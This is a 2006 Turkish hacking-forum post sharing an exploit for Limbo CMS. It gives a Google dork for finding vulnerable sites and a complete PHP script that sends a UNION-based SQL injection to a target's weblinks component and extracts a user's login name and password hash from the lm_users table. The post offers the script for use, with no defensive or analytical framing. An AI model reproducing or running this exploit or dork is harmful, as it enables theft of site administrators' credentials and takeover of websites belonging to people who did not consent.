Video İzle, Komik videolar, Video Klip, flash oyun, hazır ödevler, slayt, radyo, canlı tv, program , indir > 
(¯`·._.• Bilgisayar-İnternet •._.·´¯)
 > Hack Ve Güvenlik (Moderatör: *gurbette_ask*) >  Limbo CMS SQL Atak Açığı - Exploit
Sayfa: [1]   Aşağı git
  Yazdır  
Gönderen Konu: Limbo CMS SQL Atak Açığı - Exploit  (Okunma Sayısı 210 defa)
Temmuz 23, 2006, 01:59:57 ÖS
SaGoPa
Banned
Kıdemli Üye
*

Karizma Gücü: -105
Offline Offline

Mesaj Sayısı: 1.341


๑۩۞۩๑|͇̿C͇̿¤̿ ͇̿]|͇̿C͇̿¤̿ ͇̿]๑۩۞۩๑


« : Temmuz 23, 2006, 01:59:57 ÖS »




 Limbo CMS SQL Atak Açığı - Exploit
 


Risk : Yüksek

Etki : Uzaktan Kod Çalıştırma

Etkilenenler : Limbo CMS Software

Google’da aramak için(dork) : inurl:"index2.php?option=rss" OR "powered By Limbo CMS"

Exploit :

if( (!isset($_GET[’host’])) || (!isset($_GET[’path’])) || (!isset($_GET[’id’])))
{
?>

Usage: <?echo htmlentities($PHP_SELF)?>?host=[hostname]&path=[limbo_path]&id=[user_id]
Exemple: <?echo htmlentities($PHP_SELF)?>?host=127.0.0.1&path=/limbo&id=1

 


$host = $_GET[’host’];
$path = $_GET[’path’];
$id = $_GET[’id’];

$success = 0;

$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
   die("[-] Connection Error!");
}
else {

   $out = "GET $path/index.php?option=weblinks&Itemid=44&catid=-1%20union%20select%200,1,2,concat(char(0x6c,0x6f,0x67,0x69,0x6e,0x3a),username,char(0x20,0x70,0x61,0x73,0x73,0x77,0x6f,0x72,0x64,0x3a),password),4,5,6,7,8,9,10,11%20from%20lm_users%20where%20id=$id/* HTTP/1.1\r\n";
   $out .= "Host: $host\r\n";
   $out .= "Connection: Close\r\n\r\n";

   fwrite($fp, $out);
   while (!feof($fp)) {
    $f = fgets($fp, 1024);
       if ( (preg_match("/<div class=\"componentheading\" >/",$f)) && (preg_match("/login/",$f)) )
       {
   echo "$f";
   echo "
Enjoy! :><br>";
   $success = 1;
    }
   }
   fclose($fp);
   
   if (!$success)
 echo "<br>[-] exploit failed :<<br>";
}
?>
</pre>
Logged

iSYaN   VaRSa BaSTıRaCaK KiSi De VaRDıR.. (Herkez Haddini Bilecek)
www.gencturkler.biz  &  www.camlik.eu   & www.tiyatrobaher.com
Sayfa: [1]   Yukarı git
  Yazdır  
 
Gitmek istediğiniz yer:  

Powered by SMF 1.1.7 | SMF © 2006, Simple Machines LLC
Seo4Smf v0.2 © Webmaster's Talks

Rengli Theme By Burak & Forum
MySQL ile Güçlendirildi PHP ile Güçlendirildi XHTML 1.0 Geçerli! CSS Geçerli!
Bu Sayfa 0.669 Saniyede 29 Sorgu ile Oluşturuldu